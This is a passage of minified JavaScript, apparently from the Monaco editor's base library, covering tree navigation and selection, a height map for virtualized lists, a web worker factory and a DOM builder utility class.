p||this.item.isVisible()&&this.item.isExpanded())&&this.item.firstChild)this.item=this.item.firstChild;else if(this.item===this.start)this.item=null;else{for(;this.item&&this.item!==this.start&&!this.item.next;)this.item=this.item.parent;this.item===this.start&&(this.item=null),this.item=this.item?this.item.next:null}}while(this.item&&!this.item.isVisible());return this.item||null},e.prototype.previous=function(){if(this.item)do{var t=e.lastDescendantOf(this.item.previous);t?this.item=t:this.item.parent&&this.item.parent!==this.start&&this.item.parent.isVisible()?this.item=this.item.parent:this.item=null}while(this.item&&!this.item.isVisible());return this.item||null},e.prototype.parent=function(){if(this.item){var e=this.item.parent;e&&e!==this.start&&e.isVisible()?this.item=e:this.item=null}return this.item||null},e.prototype.first=function(){return this.item=this.start,this.next(),this.item||null},e.prototype.last=function(){return e.lastDescendantOf(this.start)},e}();t.TreeNavigator=g;var m=function(e){function t(t){var n=e.call(this)||this;return n.context=t,n.input=null,n.traitsToItems={},n}return f(t,e),t.prototype.setInput=function(e){var t=this,n={item:this.input};this.emit(\"clearingInput\",n),this.setSelection([]),this.setFocus(),this.setHighlight(),this.lock=new c,this.input&&this.input.dispose(),this.registry&&(this.registry.dispose(),this.registryDisposable.dispose()),this.registry=new d,this.registryDisposable=o.combinedDisposable([this.addEmitter(this.registry),this.registry.addListener(\"item:dispose\",function(e){e.item.getAllTraits().forEach(function(n){return delete t.traitsToItems[n][e.item.id]})})]);var i=this.context.dataSource.getId(this.context.tree,e);return this.input=new p(i,this.registry,this.context,this.lock,e),n={item:this.input},this.emit(\"setInput\",n),this.refresh(this.input)},t.prototype.getInput=function(){return this.input?this.input.getElement():null},t.prototype.refresh=function(e,t){var n=this;void 0===e&&(e=null),void 0===t&&(t=!0);var i=this.getItem(e);if(!i)return a.TPromise.as(null);var o={item:i,recursive:t};return this.emit(\"refreshing\",o),i.refresh(t).then(function(){n.emit(\"refreshed\",o)})},t.prototype.expand=function(e){var t=this.getItem(e);return t?t.expand():a.TPromise.as(!1)},t.prototype.expandAll=function(e){if(!e){e=[];for(var t,n=this.getNavigator();t=n.next();)e.push(t)}for(var i=[],o=0,r=e.length;o<r;o++)i.push(this.expand(e[o]));return a.Promise.join(i)},t.prototype.collapse=function(e,t){void 0===t&&(t=!1);var n=this.getItem(e);return n?n.collapse(t):a.TPromise.as(!1)},t.prototype.collapseAll=function(e,t){void 0===e&&(e=null),void 0===t&&(t=!1),e||(e=[this.input],t=!0);for(var n=[],i=0,o=e.length;i<o;i++)n.push(this.collapse(e[i],t));return a.Promise.join(n)},t.prototype.toggleExpansion=function(e){return this.isExpanded(e)?this.collapse(e):this.expand(e)},t.prototype.toggleExpansionAll=function(e){for(var t=[],n=0,i=e.length;n<i;n++)t.push(this.toggleExpansion(e[n]));return a.Promise.join(t)},t.prototype.isExpanded=function(e){var t=this.getItem(e);return!!t&&t.isExpanded()},t.prototype.getExpandedElements=function(){for(var e,t=[],n=this.getNavigator();e=n.next();)e.isExpanded()&&t.push(e.getElement());return t},t.prototype.reveal=function(e,t){var n=this;return void 0===t&&(t=null),this.resolveUnknownParentChain(e).then(function(e){var t=a.TPromise.as(null);return e.forEach(function(e){t=t.then(function(){return n.expand(e)})}),t}).then(function(){var i=n.getItem(e);if(i)return i.reveal(t)})},t.prototype.resolveUnknownParentChain=function(e){var t=this;return this.context.dataSource.getParent(this.context.tree,e).then(function(e){return e?t.resolveUnknownParentChain(e).then(function(t){return t.push(e),t}):a.TPromise.as([])})},t.prototype.setHighlight=function(e,t){this.setTraits(\"highlighted\",e?[e]:[]);var n={highlight:this.getHighlight(),payload:t};this.emit(\"highlight\",n)},t.prototype.getHighlight=function(e){var t=this.getElementsWithTrait(\"highlighted\",e);return 0===t.length?null:t[0]},t.prototype.isHighlighted=function(e){var t=this.getItem(e);return!!t&&t.hasTrait(\"highlighted\")},t.prototype.select=function(e,t){this.selectAll([e],t)},t.prototype.selectRange=function(e,t,n){var i=this.getItem(e),o=this.getItem(t);i&&o&&this.selectAll(u(i,o),n)},t.prototype.deselectRange=function(e,t,n){var i=this.getItem(e),o=this.getItem(t);i&&o&&this.deselectAll(u(i,o),n)},t.prototype.selectAll=function(e,t){this.addTraits(\"selected\",e);var n={selection:this.getSelection(),payload:t};this.emit(\"selection\",n)},t.prototype.deselect=function(e,t){this.deselectAll([e],t)},t.prototype.deselectAll=function(e,t){this.removeTraits(\"selected\",e);var n={selection:this.getSelection(),payload:t};this.emit(\"selection\",n)},t.prototype.setSelection=function(e,t){this.setTraits(\"selected\",e);var n={selection:this.getSelection(),payload:t};this.emit(\"selection\",n)},t.prototype.toggleSelection=function(e,t){this.toggleTrait(\"selected\",e);var n={selection:this.getSelection(),payload:t};this.emit(\"selection\",n)},t.prototype.isSelected=function(e){var t=this.getItem(e);return!!t&&t.hasTrait(\"selected\")},t.prototype.getSelection=function(e){return this.getElementsWithTrait(\"selected\",e)},t.prototype.selectNext=function(e,t,n){void 0===e&&(e=1),void 0===t&&(t=!0);for(var i,o=this.getSelection(),r=o.length>0?o[0]:this.input,s=this.getNavigator(r,!1),a=0;a<e&&(i=s.next());a++)r=i;t?this.setSelection([r],n):this.select(r,n)},t.prototype.selectPrevious=function(e,t,n){void 0===e&&(e=1),void 0===t&&(t=!0);var i=this.getSelection(),o=null,r=null;if(0===i.length){for(s=this.getNavigator(this.input);o=s.next();)r=o;o=r}else{o=i[0];for(var s=this.getNavigator(o,!1),a=0;a<e&&(r=s.previous());a++)o=r}t?this.setSelection([o],n):this.select(o,n)},t.prototype.selectParent=function(e,t){void 0===t&&(t=!0);var n=this.getSelection(),i=n.length>0?n[0]:this.input,o=this.getNavigator(i,!1).parent();o&&(t?this.setSelection([o],e):this.select(o,e))},t.prototype.setFocus=function(e,t){this.setTraits(\"focused\",e?[e]:[]);var n={focus:this.getFocus(),payload:t};this.emit(\"focus\",n)},t.prototype.isFocused=function(e){var t=this.getItem(e);return!!t&&t.hasTrait(\"focused\")},t.prototype.getFocus=function(e){var t=this.getElementsWithTrait(\"focused\",e);return 0===t.length?null:t[0]},t.prototype.focusNext=function(e,t){void 0===e&&(e=1);for(var n,i=this.getFocus()||this.input,o=this.getNavigator(i,!1),r=0;r<e&&(n=o.next());r++)i=n;this.setFocus(i,t)},t.prototype.focusPrevious=function(e,t){void 0===e&&(e=1);for(var n,i=this.getFocus()||this.input,o=this.getNavigator(i,!1),r=0;r<e&&(n=o.previous());r++)i=n;this.setFocus(i,t)},t.prototype.focusParent=function(e){var t=this.getFocus()||this.input,n=this.getNavigator(t,!1).parent();n&&this.setFocus(n,e)},t.prototype.focusFirstChild=function(e){var t=this.getItem(this.getFocus()||this.input),n=this.getNavigator(t,!1),i=n.next();n.parent()===t&&this.setFocus(i,e)},t.prototype.focusFirst=function(e,t){this.focusNth(0,e,t)},t.prototype.focusNth=function(e,t,n){for(var i=this.getParent(n),o=this.getNavigator(i),r=o.first(),s=0;s<e;s++)r=o.next();r&&this.setFocus(r,t)},t.prototype.focusLast=function(e,t){var n,i=this.getParent(t);(n=t?i.lastChild:this.getNavigator(i).last())&&this.setFocus(n,e)},t.prototype.getParent=function(e){if(e){var t=this.getItem(e);if(t&&t.parent)return t.parent}return this.getItem(this.input)},t.prototype.getNavigator=function(e,t){return void 0===e&&(e=null),void 0===t&&(t=!0),new g(this.getItem(e),t)},t.prototype.getItem=function(e){return void 0===e&&(e=null),null===e?this.input:e instanceof h?e:\"string\"==typeof e?this.registry.getItem(e):this.registry.getItem(this.context.dataSource.getId(this.context.tree,e))},t.prototype.addTraits=function(e,t){for(var n,i=this.traitsToItems[e]||{},o=0,r=t.length;o<r;o++)(n=this.getItem(t[o]))&&(n.addTrait(e),i[n.id]=n);this.traitsToItems[e]=i},t.prototype.removeTraits=function(e,t){var n,i,o=this.traitsToItems[e]||{};if(0===t.length){for(i in o)o.hasOwnProperty(i)&&(n=o[i]).removeTrait(e);delete this.traitsToItems[e]}else for(var r=0,s=t.length;r<s;r++)(n=this.getItem(t[r]))&&(n.removeTrait(e),delete o[n.id])},t.prototype.hasTrait=function(e,t){var n=this.getItem(t);return n&&n.hasTrait(e)},t.prototype.toggleTrait=function(e,t){var n=this.getItem(t);n&&(n.hasTrait(e)?this.removeTraits(e,[t]):this.addTraits(e,[t]))},t.prototype.setTraits=function(e,t){if(0===t.length)this.removeTraits(e,t);else{for(var n,i={},o=0,r=t.length;o<r;o++)(n=this.getItem(t[o]))&&(i[n.id]=n);var s,a=this.traitsToItems[e]||{},u=[];for(s in a)a.hasOwnProperty(s)&&(i.hasOwnProperty(s)?delete i[s]:u.push(a[s]));for(var o=0,r=u.length;o<r;o++)(n=u[o]).removeTrait(e),delete a[n.id];for(s in i)i.hasOwnProperty(s)&&((n=i[s]).addTrait(e),a[s]=n);this.traitsToItems[e]=a}},t.prototype.getElementsWithTrait=function(e,t){var n,i=[],o=this.traitsToItems[e]||{};for(n in o)o.hasOwnProperty(n)&&(o[n].isVisible()||t)&&i.push(o[n].getElement());return i},t.prototype.dispose=function(){this.registry&&(this.registry.dispose(),this.registry=null),e.prototype.dispose.call(this)},t}(s.EventEmitter);t.TreeModel=m}),define(d[472],h([1,0,38,107]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e){function t(){var t=e.call(this)||this;return t.heightMap=[],t.indexes={},t}return f(t,e),t.prototype.getTotalHeight=function(){var e=this.heightMap[this.heightMap.length-1];return e?e.top+e.height:0},t.prototype.onInsertItems=function(e,t){void 0===t&&(t=null);var n,i,o,r,s,a=0;if(null===t)o=0,s=0;else{if(o=this.indexes[t]+1,!(i=this.heightMap[o-1]))return void console.error(\"view item doesnt exist\");s=i.top+i.height}for(var u=this.heightMap.splice.bind(this.heightMap,o,0),l=[];n=e.next();)(i=this.createViewItem(n)).top=s+a,this.emit(\"viewItem:create\",{item:i.model}),this.indexes[n.id]=o++,l.push(i),a+=i.height;for(u.apply(this.heightMap,l),r=o;r<this.heightMap.length;r++)(i=this.heightMap[r]).top+=a,this.indexes[i.model.id]=r;for(r=l.length-1;r>=0;r--)this.onInsertItem(l[r]);for(r=this.heightMap.length-1;r>=o;r--)this.onRefreshItem(this.heightMap[r]);return a},t.prototype.onInsertItem=function(e){},t.prototype.onRemoveItems=function(e){for(var t,n,i,o=null,r=0;t=e.next();){if(i=this.indexes[t],!(n=this.heightMap[i]))return void console.error(\"view item doesnt exist\");r-=n.height,delete this.indexes[t],this.onRemoveItem(n),null===o&&(o=i)}if(0!==r)for(this.heightMap.splice(o,i-o+1),i=o;i<this.heightMap.length;i++)(n=this.heightMap[i]).top+=r,this.indexes[n.model.id]=i,this.onRefreshItem(n)},t.prototype.onRemoveItem=function(e){},t.prototype.onRefreshItemSet=function(e){var t=this,n=e.sort(function(e,n){return t.indexes[e.id]-t.indexes[n.id]});this.onRefreshItems(new i.ArrayIterator(n))},t.prototype.onRefreshItems=function(e){for(var t,n,i,o,r=null,s=0;t=e.next();){for(o=this.indexes[t.id];0!==s&&null!==r&&r<o;r++)(n=this.heightMap[r]).top+=s,this.onRefreshItem(n);n=this.heightMap[o],i=t.getHeight(),n.top+=s,s+=i-n.height,n.height=i,this.onRefreshItem(n,!0),r=o+1}if(0!==s&&null!==r)for(;r<this.heightMap.length;r++)(n=this.heightMap[r]).top+=s,this.onRefreshItem(n)},t.prototype.onRefreshItem=function(e,t){void 0===t&&(t=!1)},t.prototype.itemsCount=function(){return this.heightMap.length},t.prototype.itemAt=function(e){return this.heightMap[this.indexAt(e)].model.id},t.prototype.withItemsInRange=function(e,t,n){e=this.indexAt(e),t=this.indexAt(t);for(var i=e;i<=t;i++)n(this.heightMap[i].model.id)},t.prototype.indexAt=function(e){for(var t,n,i=0,o=this.heightMap.length;i<o;)if(t=Math.floor((i+o)/2),n=this.heightMap[t],e<n.top)o=t;else{if(!(e>=n.top+n.height))return t;if(i===t)break;i=t}return this.heightMap.length},t.prototype.indexAfter=function(e){return Math.min(this.indexAt(e)+1,this.heightMap.length)},t.prototype.itemAtIndex=function(e){return this.heightMap[e]},t.prototype.itemAfter=function(e){return this.heightMap[this.indexes[e.model.id]+1]||null},t.prototype.createViewItem=function(e){throw new Error(\"not implemented\")},t.prototype.dispose=function(){this.heightMap=null,this.indexes=null},t}(n.EventEmitter);t.HeightMap=o}),define(d[473],h([1,0,15,197]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(e,t){return void 0===t&&(t=!1),n.globals.MonacoEnvironment&&n.globals.MonacoEnvironment.hasOwnProperty(e)?n.globals.MonacoEnvironment[e]:t}(\"getWorkerUrl\",null)||function(t,n){return e.toUrl(\"./\"+t)+\"#\"+n},r=function(){function e(e,t,n,i,r){this.id=t,this.worker=new Worker(o(\"workerMain.js\",n)),this.postMessage(e),this.worker.onmessage=function(e){i(e.data)},\"function\"==typeof this.worker.addEventListener&&this.worker.addEventListener(\"error\",r)}return e.prototype.getId=function(){return this.id},e.prototype.postMessage=function(e){this.worker&&this.worker.postMessage(e)},e.prototype.dispose=function(){this.worker.terminate(),this.worker=null},e}(),s=function(){function e(e){this._label=e,this._webWorkerFailedBeforeError=!1}return e.prototype.create=function(t,n,o){var s=this,a=++e.LAST_WORKER_ID;if(this._webWorkerFailedBeforeError)throw this._webWorkerFailedBeforeError;return new r(t,a,this._label||\"anonymous\"+a,n,function(e){i.logOnceWebWorkerWarning(e),s._webWorkerFailedBeforeError=e,o(e)})},e.LAST_WORKER_ID=0,e}();t.DefaultWorkerFactory=s}),define(d[484],h([5]),{}),define(d[52],h([1,0,7,29,3,9,72,4,484]),function(e,t,n,i,o,r,s,a){\"use strict\";function u(e,t){s.ok(i.isString(e),\"Expected String as parameter\");var n=document.getElementById(e);return n?new x(n,t):null}function l(e){return e[b]||(e[b]={}),e[b]}function c(e){return!!e[b]}function d(e,t){return e instanceof N?new N(e):new x(e.getHTMLElement(),t)}function h(e,t){return new x(e,t)}function p(){return new x(null,!0)}function g(e,t,n){l(e)[t]=n}function m(e,t,n){if(c(e)){var o=l(e)[t];if(!i.isUndefined(o))return o}return n}function v(e,t){c(e)&&delete l(e)[t]}function _(e,t){g(e,w,t)}function y(e){v(e,w)}function C(e){return m(e,w)}Object.defineProperty(t,\"__esModule\",{value:!0}),t.withElementById=u,t.Build={withElementById:u};var b=\"_msDataKey\",w=\"__$binding\",S=function(){return function(e,t){this.x=e,this.y=t}}();t.Position=S;var E=function(){return function(e,t,n,i){this.top=e,this.right=t,this.bottom=n,this.left=i}}();t.Box=E;var L=function(){function e(e,t){this.width=e,this.height=t}return e.prototype.substract=function(t){return new e(this.width-t.left-t.right,this.height-t.top-t.bottom)},e}();t.Dimension=L;var x=function(){function e(e,t){this.offdom=t,this.container=e,this.currentElement=e,this.createdElements=[],this.toUnbind={},this.captureToUnbind={}}return e.prototype.asContainer=function(){return d(this,this.offdom)},e.prototype.clone=function(){var t=new e(this.container,this.offdom);return t.currentElement=this.currentElement,t.createdElements=this.createdElements,t.captureToUnbind=this.captureToUnbind,t.toUnbind=this.toUnbind,t},e.prototype.and=function(t){t instanceof e||t instanceof N||(t=new e(t,this.offdom));var n=[this];if(t instanceof N)for(var i=0;i<t.length;i++)n.push(t.item(i));else n.push(t);return new N(n)},e.prototype.build=function(t,n){s.ok(this.offdom,\"This builder was not created off-dom, so build() can not be called.\"),t?t instanceof e&&(t=t.getHTMLElement()):t=this.container,s.ok(t,\"Builder can only be build() with a container provided.\"),s.ok(a.isHTMLElement(t),\"The container must either be a HTMLElement or a Builder.\");var o,r,u=t,l=u.childNodes;if(i.isNumber(n)&&n<l.length)for(o=0,r=this.createdElements.length;o<r;o++)u.insertBefore(this.createdElements[o],l[n++]);else for(o=0,r=this.createdElements.length;o<r;o++)u.appendChild(this.createdElements[o]);return this},e.prototype.appendTo=function(t,n){t?t instanceof e&&(t=t.getHTMLElement()):t=this.container,s.ok(t,\"Builder can only be build() with a container provided.\"),s.ok(a.isHTMLElement(t),\"The container must either be a HTMLElement or a Builder.\");var o=t;this.currentElement.parentNode&&this.currentElement.parentNode.removeChild(this.currentElement);var r=o.childNodes;return i.isNumber(n)&&n<r.length?o.insertBefore(this.currentElement,r[n]):o.appendChild(this.currentElement),this},e.prototype.append=function(t,n){return s.ok(t,\"Need a child to append\"),a.isHTMLElement(t)&&(t=h(t)),s.ok(t instanceof e||t instanceof N,\"Need a child to append\"),t.appendTo(this,n),this},e.prototype.offDOM=function(){return this.currentElement.parentNode&&this.currentElement.parentNode.removeChild(this.currentElement),this},e.prototype.getHTMLElement=function(){return this.currentElement},e.prototype.getContainer=function(){return this.container},e.prototype.div=function(e,t){return this.doElement(\"div\",e,t)},e.prototype.p=function(e,t){return this.doElement(\"p\",e,t)},e.prototype.ul=function(e,t){return this.doElement(\"ul\",e,t)},e.prototype.ol=function(e,t){return this.doElement(\"ol\",e,t)},e.prototype.li=function(e,t){return this.doElement(\"li\",e,t)},e.prototype.span=function(e,t){return this.doElement(\"span\",e,t)},e.prototype.img=function(e,t){return this.doElement(\"img\",e,t)},e.prototype.a=function(e,t){return this.doElement(\"a\",e,t)},e.prototype.header=function(e,t){return this.doElement(\"header\",e,t)},e.prototype.section=function(e,t){return this.doElement(\"section\",e,t)},e.prototype.footer=function(e,t){return this.doElement(\"footer\",e,t)},e.prototype.element=function(e,t,n){return this.doElement(e,t,n)},e.prototype.doElement=function(t,n,o){var r=document.createElement(t);if(this.currentElement=r,this.offdom&&this.createdElements.push(r),i.isObject(n)&&this.attr(n),i.isFunction(n)&&(o=n),i.isFunction(o)){var s=new e(r);o.call(s,s)}return this.offdom||this.container.appendChild(r),this},e.prototype.domFocus=function(){return this.currentElement.focus(),this},e.prototype.hasFocus=function(){return document.activeElement===this.currentElement},e.prototype.domSelect=function(e){void 0===e&&(e=null);var t=this.currentElement;return t.select(),e&&t.setSelectionRange(e.start,e.end),this},e.prototype.domBlur=function(){return this.currentElement.blur(),this},e.prototype.domClick=function(){return this.currentElement.click(),this},e.prototype.on=function(e,t,n,o){var r=this;if(i.isArray(e))e.forEach(function(e){r.on(e,t,n,o)});else{var s=e,u=a.addDisposableListener(this.currentElement,s,function(e){t(e,r,u)},o||!1);o?(this.captureToUnbind[s]||(this.captureToUnbind[s]=[]),this.captureToUnbind[s].push(u)):(this.toUnbind[s]||(this.toUnbind[s]=[]),this.toUnbind[s].push(u));var l=this.getProperty(\"__$listeners\",[]);l.push(u),this.setProperty(\"__$listeners\",l),n&&i.isArray(n)&&n.push(u)}return this},e.prototype.off=function(e,t){var n=this;if(i.isArray(e))e.forEach(function(e){n.off(e)});else{var r=e;t?this.captureToUnbind[r]&&(this.captureToUnbind[r]=o.dispose(this.captureToUnbind[r])):this.toUnbind[r]&&(this.toUnbind[r]=o.dispose(this.toUnbind[r]))}return this},e.prototype.once=function(e,t,n,o){var r=this;if(i.isArray(e))e.forEach(function(e){r.once(e,t)});else{var s=e,u=a.addDisposableListener(this.currentElement,s,function(e){t(e,r,u),u.dispose()},o||!1);n&&i.isArray(n)&&n.push(u)}return this},e.prototype.preventDefault=function(e,t,n,i){return this.on(e,function(e){e.preventDefault(),t&&(e.stopPropagation?e.stopPropagation():e.cancelBubble=!0)},n,i)},e.prototype.attr=function(e,t){if(i.isObject(e)){for(var n in e)if(e.hasOwnProperty(n)){var o=e[n];this.doSetAttr(n,o)}return this}return i.isString(e)&&!i.isString(t)?this.currentElement.getAttribute(e):(i.isString(e)&&(i.isString(t)||(t=String(t)),this.doSetAttr(e,t)),this)},e.prototype.doSetAttr=function(e,t){\"class\"===e&&(e=\"addClass\"),this[e]?i.isArray(t)?this[e].apply(this,t):this[e].call(this,t):this.currentElement.setAttribute(e,t)},e.prototype.removeAttribute=function(e){this.currentElement.removeAttribute(e)},e.prototype.id=function(e){return this.currentElement.setAttribute(\"id\",e),this},e.prototype.src=function(e){return this.currentElement.setAttribute(\"src\",e),this},e.prototype.href=function(e){return this.currentElement.setAttribute(\"href\",e),this},e.prototype.title=function(e){return this.currentElement.setAttribute(\"title\",e),this},e.prototype.name=function(e){return this.currentElement.setAttribute(\"name\",e),this},e.prototype.type=function(e){return this.currentElement.setAttribute(\"type\",e),this},e.prototype.value=function(e){return this.currentElement.setAttribute(\"value\",e),this},e.prototype.alt=function(e){return this.currentElement.setAttribute(\"alt\",e),this},e.prototype.draggable=function(e){return this.currentElement.setAttribute(\"draggable\",e?\"true\":\"false\"),this},e.prototype.tabindex=function(e){return this.currentElement.setAttribute(\"tabindex\",e.toString()),this},e.prototype.style=function(e,t){if(i.isObject(e)){for(var n in e)if(e.hasOwnProperty(n)){var o=e[n];this.doSetStyle(n,o)}return this}var r=i.isString(e);return r&&i.isUndefined(t)?this.currentElement.style[this.cssKeyToJavaScriptProperty(e)]:(r&&this.doSetStyle(e,t),this)},e.prototype.doSetStyle=function(e,t){if(e.indexOf(\"-\")>=0){var n=e.split(\"-\");e=n[0];for(var i=1;i<n.length;i++){var o=n[i];e=e+o.charAt(0).toUpperCase()+o.substr(1)}}this.currentElement.style[this.cssKeyToJavaScriptProperty(e)]=t},e.prototype.cssKeyToJavaScriptProperty=function(e){if(e.indexOf(\"-\")>=0){var t=e.split(\"-\");e=t[0];for(var n=1;n<t.length;n++){var i=t[n];e=e+i.charAt(0).toUpperCase()+i.substr(1)}}else\"float\"===e&&(e=\"cssFloat\");return e},e.prototype.getComputedStyle=function(){return a.getComputedStyle(this.currentElement)},e.prototype.addClass=function(){for(var e=this,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return t.forEach(function(t){t.split(\" \").forEach(function(t){a.addClass(e.currentElement,t)})}),this},e.prototype.setClass=function(e,t){return void 0===t&&(t=null),null===t?this.currentElement.className=e:t?this.addClass(e):this.removeClass(e),this},e.prototype.hasClass=function(e){return a.hasClass(this.currentElement,e)},e.prototype.removeClass=function(){for(var e=this,t=[],n=0;n<arguments.length;n++)t[n]=arguments[n];return t.forEach(function(t){t.split(\" \").forEach(function(t){a.removeClass(e.currentElement,t)})}),this},e.prototype.swapClass=function(e,t){return this.hasClass(e)?(this.removeClass(e),this.addClass(t)):(this.removeClass(t),this.addClass(e)),this},e.prototype.toggleClass=function(e){return this.hasClass(e)?this.removeClass(e):this.addClass(e),this},e.prototype.color=function(e){return this.currentElement.style.color=e,this},e.prototype.background=function(e){return this.currentElement.style.backgroundColor=e,this},e.prototype.padding=function(e,t,n,o){return i.isString(e)&&e.indexOf(\" \")>=0?this.padding.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.paddingTop=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.paddingRight=this.toPixel(t)),i.isUndefinedOrNull(n)||(this.currentElement.style.paddingBottom=this.toPixel(n)),i.isUndefinedOrNull(o)||(this.currentElement.style.paddingLeft=this.toPixel(o)),this)},e.prototype.margin=function(e,t,n,o){return i.isString(e)&&e.indexOf(\" \")>=0?this.margin.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.marginTop=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.marginRight=this.toPixel(t)),i.isUndefinedOrNull(n)||(this.currentElement.style.marginBottom=this.toPixel(n)),i.isUndefinedOrNull(o)||(this.currentElement.style.marginLeft=this.toPixel(o)),this)},e.prototype.position=function(e,t,n,o,r){return i.isString(e)&&e.indexOf(\" \")>=0?this.position.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.top=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.right=this.toPixel(t)),i.isUndefinedOrNull(n)||(this.currentElement.style.bottom=this.toPixel(n)),i.isUndefinedOrNull(o)||(this.currentElement.style.left=this.toPixel(o)),r||(r=\"absolute\"),this.currentElement.style.position=r,this)},e.prototype.size=function(e,t){return i.isString(e)&&e.indexOf(\" \")>=0?this.size.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.width=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.height=this.toPixel(t)),this)},e.prototype.minSize=function(e,t){return i.isString(e)&&e.indexOf(\" \")>=0?this.minSize.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.minWidth=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.minHeight=this.toPixel(t)),this)},e.prototype.maxSize=function(e,t){return i.isString(e)&&e.indexOf(\" \")>=0?this.maxSize.apply(this,e.split(\" \")):(i.isUndefinedOrNull(e)||(this.currentElement.style.maxWidth=this.toPixel(e)),i.isUndefinedOrNull(t)||(this.currentElement.style.maxHeight=this.toPixel(t)),this)},e.prototype.float=function(e){return this.currentElement.style.cssFloat=e,this},e.prototype.clear=function(e){return this.currentElement.style.clear=e,this},e.prototype.normal=function(){return this.currentElement.style.fontStyle=\"normal\",this.currentElement.style.fontWeight=\"normal\",this.currentElement.style.textDecoration=\"none\",this},e.prototype.italic=function(){return this.currentElement.style.fontStyle=\"italic\",this},e.prototype.bold=function(){return this.currentElement.style.fontWeight=\"bold\",this},e.prototype.underline=function(){return this.currentElement.style.textDecoration=\"underline\",this},e.prototype.overflow=function(e){return this.currentElement.style.overflow=e,this},e.prototype.display=function(e){return this.currentElement.style.display=e,this},e.prototype.disable=function(){return this.currentElement.setAttribute(\"disabled\",\"disabled\"),this},e.prototype.enable=function(){return this.currentElement.removeAttribute(\"disabled\"),this},e.prototype.show=function(){return this.hasClass(\"builder-hidden\")&&this.removeClass(\"builder-hidden\"),this.attr(\"aria-hidden\",\"false\"),this.cancelVisibilityPromise(),this},e.prototype.showDelayed=function(e){var t=this;this.cancelVisibilityPromise();var i=n.TPromise.timeout(e);return this.setProperty(\"__$visibility\",i),i.done(function(){t.removeProperty(\"__$visibility\"),t.show()}),this},e.prototype.hide=function(){return this.hasClass(\"builder-hidden\")||this.addClass(\"builder-hidden\"),this.attr(\"aria-hidden\",\"true\"),this.cancelVisibilityPromise(),this},e.prototype.isHidden=function(){return this.hasClass(\"builder-hidden\")||\"none\"===this.currentElement.style.display},e.prototype.toggleVisibility=function(){return this.cancelVisibilityPromise(),this.swapClass(\"builder-visible\",\"builder-hidden\"),this.isHidden()?this.attr(\"aria-hidden\",\"true\"):this.attr(\"aria-hidden\",\"false\"),this},e.prototype.cancelVisibilityPromise=function(){var e=this.getProperty(\"__$visibility\");e&&(e.cancel(),this.removeProperty(\"__$visibility\"))},e.prototype.border=function(e,t,n){return i.isString(e)&&e.indexOf(\" \")>=0?this.border.apply(this,e.split(\" \")):(this.currentElement.style.borderWidth=this.toPixel(e),n&&(this.currentElement.style.borderColor=n),t&&(this.currentElement.style.borderStyle=t),this)},e.prototype.borderTop=function(e,t,n){return i.isString(e)&&e.indexOf(\" \")>=0?this.borderTop.apply(this,e.split(\" \")):(this.currentElement.style.borderTopWidth=this.toPixel(e),n&&(this.currentElement.style.borderTopColor=n),t&&(this.currentElement.style.borderTopStyle=t),this)},e.prototype.borderBottom=function(e,t,n){return i.isString(e)&&e.indexOf(\" \")>=0?this.borderBottom.apply(this,e.split(\" \")):(this.currentElement.style.borderBottomWidth=this.toPixel(e),n&&(this.currentElement.style.borderBottomColor=n),t&&(this.currentElement.style.borderBottomStyle=t),this)},e.prototype.borderLeft=function(e,t,n){return i.isString(e)&&e.indexOf(\" \")>=0?this.borderLeft.apply(this,e.split(\" \")):(this.currentElement.style.borderLeftWidth=this.toPixel(e),n&&(this.currentElement.style.borderLeftColor=n),t&&(this.currentElement.style.borderLeftStyle=t),this)},e.prototype.borderRight=function(e,t,n){return i.isString(e)&&e.indexOf(\" \")>=0?this.borderRight.apply(this,e.split(\" \")):(this.currentElement.style.borderRightWidth=this.toPixel(e),n&&(this.currentElement.style.borderRightColor=n),t&&(this.currentElement.style.borderRightStyle=t),this)},e.prototype.textAlign=function(e){return this.currentElement.style.textAlign=e,this},e.prototype.verticalAlign=function(e){return this.currentElement.style.verticalAlign=e,this},e.prototype.toPixel=function(e){return-1===e.toString().indexOf(\"px\")?e.toString()+\"px\":e},e.prototype.innerHtml=function(e,t){return t?this.currentElement.innerHTML+=e:this.currentElement.innerHTML=e,this},e.prototype.text=function(e,t){return t?0===this.currentElement.children.length?this.currentElement.textContent+=e:this.currentElement.appendChild(document.createTextNode(e)):this.currentElement.textContent=e,this},e.prototype.safeInnerHtml=function(e,t){return this.innerHtml(r.escape(e),t)},e.prototype.bind=function(e){return _(this.currentElement,e),this},e.prototype.unbind=function(){return y(this.currentElement),this},e.prototype.getBinding=function(){return C(this.currentElement)},e.prototype.setProperty=function(e,t){return g(this.currentElement,e,t),this},e.prototype.getProperty=function(e,t){return m(this.currentElement,e,t)},e.prototype.removeProperty=function(e){return c(this.currentElement)&&delete l(this.currentElement)[e],this},e.prototype.parent=function(e){return s.ok(!this.offdom,\"Builder was created with offdom = true and thus has no parent set\"),h(this.currentElement.parentNode,e)},e.prototype.children=function(e){for(var t=this.currentElement.children,n=[],i=0;i<t.length;i++)n.push(h(t.item(i),e));return new N(n)},e.prototype.child=function(e){return void 0===e&&(e=0),h(this.currentElement.children.item(e))},e.prototype.removeChild=function(e){return this.currentElement===e.parent().getHTMLElement()&&this.currentElement.removeChild(e.getHTMLElement()),this},e.prototype.select=function(e,t){s.ok(i.isString(e),\"Expected String as parameter\");for(var n=this.currentElement.querySelectorAll(e),o=[],r=0;r<n.length;r++)o.push(h(n.item(r),t));return new N(o)},e.prototype.matches=function(e){var t=this.currentElement,n=t.webkitMatchesSelector||t.mozMatchesSelector||t.msMatchesSelector||t.oMatchesSelector;return n&&n.call(t,e)},e.prototype.isEmpty=function(){return!this.currentElement.childNodes||0===this.currentElement.childNodes.length},e.prototype.unbindDescendants=function(e){if(e&&e.children)for(var 